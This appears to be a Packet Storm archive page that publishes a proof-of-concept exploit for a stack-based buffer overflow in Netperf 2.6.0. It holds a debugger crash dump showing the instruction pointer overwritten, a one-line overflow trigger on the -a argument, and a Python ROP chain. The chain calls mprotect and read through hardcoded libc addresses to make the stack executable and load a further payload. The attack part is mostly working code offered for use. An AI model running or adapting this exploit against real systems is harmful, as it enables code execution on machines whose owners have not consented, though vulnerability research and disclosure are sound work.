what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Netperf 2.6.0 Buffer Overflow

Netperf 2.6.0 Buffer Overflow
Posted Jun 17, 2019
Authored by Juan Sacco

Netperf version 2.6.0 suffers from a stack-based buffer overflow.

tags | exploit, overflow
SHA-256 | dda908bfae1b3f1d72e4d16cda8f1cd72e913a9911960df08f53b6013a26a0f1

Netperf 2.6.0 Buffer Overflow

Change Mirror Download
# Exploit Author: Juan Sacco <jsacco@exploitpack.com> - http://exploitpack.com
#
# Tested on: Kali i686 GNU/Linux
#
# Description: Netperf 2.6.0 s a benchmark tool than developed by
Hewlett Packard that can be used to measure the performance of many
different types of networking.
# It provides tests for both unidirectional troughput and end-to-end latency.
#
# Vendor: https://hewlettpackard.github.io/netperf/
#
# Program received signal SIGSEGV, Segmentation fault.
# 0x41424344 in ?? ()
# LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
# EAX 0x6d
# EBX 0x41414141 ('AAAA')
# ECX 0x6f
# EDX 0x430320 (test_name) 'TCP_STREAM'
# EDI 0xb7ea2000 (_GLOBAL_OFFSET_TABLE_)
# ESI 0xbfffd2c0 0x3
# EBP 0x41414141 ('AAAA')
# ESP 0xbfffd280 0x0
# EIP 0x41424344 ('DCBA')
# Invalid address 0x41424344
# Program received signal SIGSEGV (fault address 0x41424344)
# PoC: run -a `python -c 'print "A"*8220+"DCBA"'`

from struct import pack

# int mprotect(void *addr, size_t len, int prot);
# define PROT_READ 0x1
# define PROT_WRITE 0x2
# define PROT_EXEC 0x4
#
# gef p mprotect
# $1 = {<text variable, no debug info>} 0xb7dbdfd0 <mprotect>
# gef p read
#{ssize_t (int, void *, size_t)} 0xb7db06b0 <__GI___libc_read>
#
# gef ropgadget
#pop3ret = 0x402fea

offset = 8220
mprotect = 0xb7dbdfd0 # <mprotect>
read = 0xb7db06b0 # <read>
pop3ret = 0x402fea
target_memory = 0xb7fd4000 # r-xp [vdso]

rop_chain = 'A' * offset
rop_chain += pack('I', mprotect) # mprotect
rop_chain += pack('I', pop3ret) # gadget
rop_chain += pack('I', 0xbffdf000) # arg - void*
rop_chain += pack('I', 0x100000) # arg size_t
rop_chain += pack('I',0x7) # arg int
rop_chain += pack('I', read)
rop_chain += pack('I', 0xbffdf000) # return stack
rop_chain += pack('I',0x00) # arg int fd
rop_chain += pack('I',0xbffdf000) # arg void
rop_chain += pack('I',0x200) # arg size_t

print rop_chain
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close